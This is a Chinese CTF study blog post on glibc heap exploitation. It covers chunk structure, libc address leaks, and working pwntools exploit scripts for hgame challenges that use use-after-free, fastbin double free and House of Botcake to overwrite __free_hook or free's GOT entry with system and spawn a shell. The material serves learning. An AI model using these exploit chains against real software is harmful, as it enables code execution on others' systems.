pwn

堆知识合集一

Posted by Sagiring on 2023-08-13
Estimated Reading Time 6 Minutes
Words 1.3k In Total
Viewed Times

堆知识合集一

由于许久没有看堆题了,打算多做点题整理整理

题目方面主要以hgamectf_all_in_one中例题为例子

chunk结构

贴一下学习的师傅文章

https://www.jianshu.com/p/484926468136

https://blog.csdn.net/qq_39563369/article/details/103943077

使用中的chunk

使用中的chunk

free chunk

free chunk
/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
  • struct malloc_chunk*是定义指针,定义的变量大小在32位系统占4个字节,在64位占8个字节。
  • INTERNAL_SIZE_T :被定义为size_t,在32位系统上是32位无符号整数(4bytes),在64位系统上是64位无符号整数(8bytes)

泄露libc

知道libc版本

通过将freebin加入到unsortedbin ,此时unsortedfreebin中的fd即可泄露libc中的main_arena地址

可通过gdb中的vmmap查看libc计算相对地址

main_arena_addr = u64(r.recvuntil(b'1.')[1:-3].ljust(8,b'\x00')) 
libc_addr = main_arena_addr - 0x3c4b78
libc.address = libc_addr

distance计算偏移

不知道libc版本

利用LibcSearcher 搜索 __malloc_hook的地址

main_arena_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 #固定的96偏移
malloc_hook_addr = main_arena_addr - 0x10 #再减0x10就到 __malloc_hook
libc=LibcSearcher('__malloc_hook',malloc_hook_addr) #LibcSearcher
offset = malloc_hook_addr - libc.dump('__malloc_hook')
system_addr = offset + libc.dump('system')
free_hook = offset + libc.dump('__free_hook')

题目思路合集

在泄露了libc地址之后

Freehook + UAF -- hgame editable_note

for i in range(9):
    add_note(i,0x80)
for i in range(8):
    delete_note(i)
show_note(7)
libc_main_arena = 0x1ECB80 + 88 + 8
main_arena_addr = u64(r.recvuntil(b'1.')[1:-3].ljust(8,b'\x00')) 
libc_addr = main_arena_addr - libc_main_arena
#泄露libc---------------------------------------------
libc.address=libc_addr
system_addr = libc.sym['system']
free_hook = libc.sym['__free_hook']
# one_gadget_addr = libc_addr + 0xe3b04
edit_note(6,p64(free_hook))#UAF 把tcache[6]中的next指针覆写为free_hook_addr
add_note(9,0x80) #9为从tcache[6]申请的chunk,因为覆写的是next
add_note(10,0x80) #10为 malloc返回的free_hook的指针
edit_note(9,b'/bin/sh\x00') #向system传参
edit_note(10,p64(system_addr))#向free_hook中写入system地址
delete_note(9)

FastBin + DoubleFree -- hgame fast_note

add(0,0x80,b'A'*0x80) #大于fastbin
add(1,0x80,b'A'*0x80) #避免合并到top chunk
#----泄露libc

add(2,0x50,b'A'* 0x50)
add(3,0x50,b'A'* 0x50)
add(4,0x10,b'/bin/sh\x00')
delete(0)
show(0)

main_arena_addr = u64(r.recvuntil(b'1.')[1:-3].ljust(8,b'\x00')) 
libc_addr = main_arena_addr - 0x3c4b78
libc.address = libc_addr
system_addr = libc.sym['system']
free_addr = elf.got['free']
#----泄露libc
delete(2)
delete(3)
delete(2)
此时的fastbins
add完后的fastbins

UAF解释 此处将重新申请chunk并填充地址,实际上是修改了作为free chunk0x25fc180fd

而后再次申请便是在0x25fc180之后的fdchunk便是在0x601ffa上了

#fastbin 后进先出
# 0x602018 free_got 
add(5,0x50,p64(0x602002-8)) #向fastbin next写入got表地址
add(6,0x50,b'A'* 0x50)
add(7,0x50,b'A'* 0x50)
gdb.attach(r)
pause()
add(8,0x50,b'\x00'*14+p64(system_addr)) #申请的fastbin指向free_got
#此处的14 应该为 0x602018 - 0x601ffa -0x10头大小
delete(4)
#free且传参/bin/sh

#---------------
#此处为什么不直接用0x602018 -0x10呢?
#因为要符合free chunk的申请的size验证 
#利用 x /10gx 0x602018 -0x10 查看

//此时size位虽然为0x3168000000000060
//由于下面malloc源码中 fastbin的fastbin_index计算
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
//其中fastbin_index定义有
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
//解释
//宏 fastbin_index(sz)用于获得 fast bin 在 fast bins 数组中的 index,由于 bin[0]和 bin[1]中 的chunk不存在,所以需要减2,对于SIZE_SZ为4B的平台,将sz除以8减2得到fast bin index, 对于 SIZE_SZ 为 8B 的平台,将 sz 除以 16 减去 2 得到 fast bin index。
    
//同时由于(unsigned int)(sz)的原因,对应64程序只取size的低4字节,所以我们在利用寻找合适size的时候,类似这种情况(0x3168000000000060)也行,它等同于size=0x60
    
//unsigned int 在64位程序下只取低4字节
//所以此处可以分配fastbin而不会报错!

源码调试

  1. pwndbg自动读取工作目录下源码
  2. r = gdb.debug('./vuln', 'set debug-file-directory debug/')``gdb启动程序,而不是attach,并设置调试信息
  3. glibc-all-in-one的调试信息 即.debug文件夹

成功示例

House Of Botcake -- new_fast_note

for i in range(10):
    add(i,0x80,b'0')
for i in range(7):
    delete(i)
delete(8)
show(8) #将chunk8进入unsorted bin中
main_arena_addr = u64(r.recvuntil(b'1.')[1:-3].ljust(8,b'\x00')) 
print(f'main_arena_addr = {hex(main_arena_addr)}')
libc_addr = main_arena_addr - 0x1ecbe0
libc.address = libc_addr
system_addr = libc.sym['system']
#-----------------------libc泄露

注意与下面的截图 对比大小与地址,malloc_consolidate块合并?

#House of botcake (glibc > 2.25 且 UAF)
#unsortedbin先进先出
#tcachebins 先进后出

delete(7) #将chunk7进入unsorted bin中 与8合并 与8合并但是 7开头
add(10,0x80,b'0') #将tcache bin中腾出空间
delete(8) #将chunk8 加入tcache中 double free
add(11,0xff,b'\x00'*0x80+p64(0)+p64(0x91)+p64(libc.sym['__free_hook'])+b'\x00'*7) #写入到Tcache next中 通过 x /20gx addr + 大小来查看推算
add(12,0x80,b'/bin/sh\x00')#将tcache中下一个变为free hook
add(13,0x80,p64(system_addr))#写free_hook
delete(12)
delete(7)
delete(8)
add(11)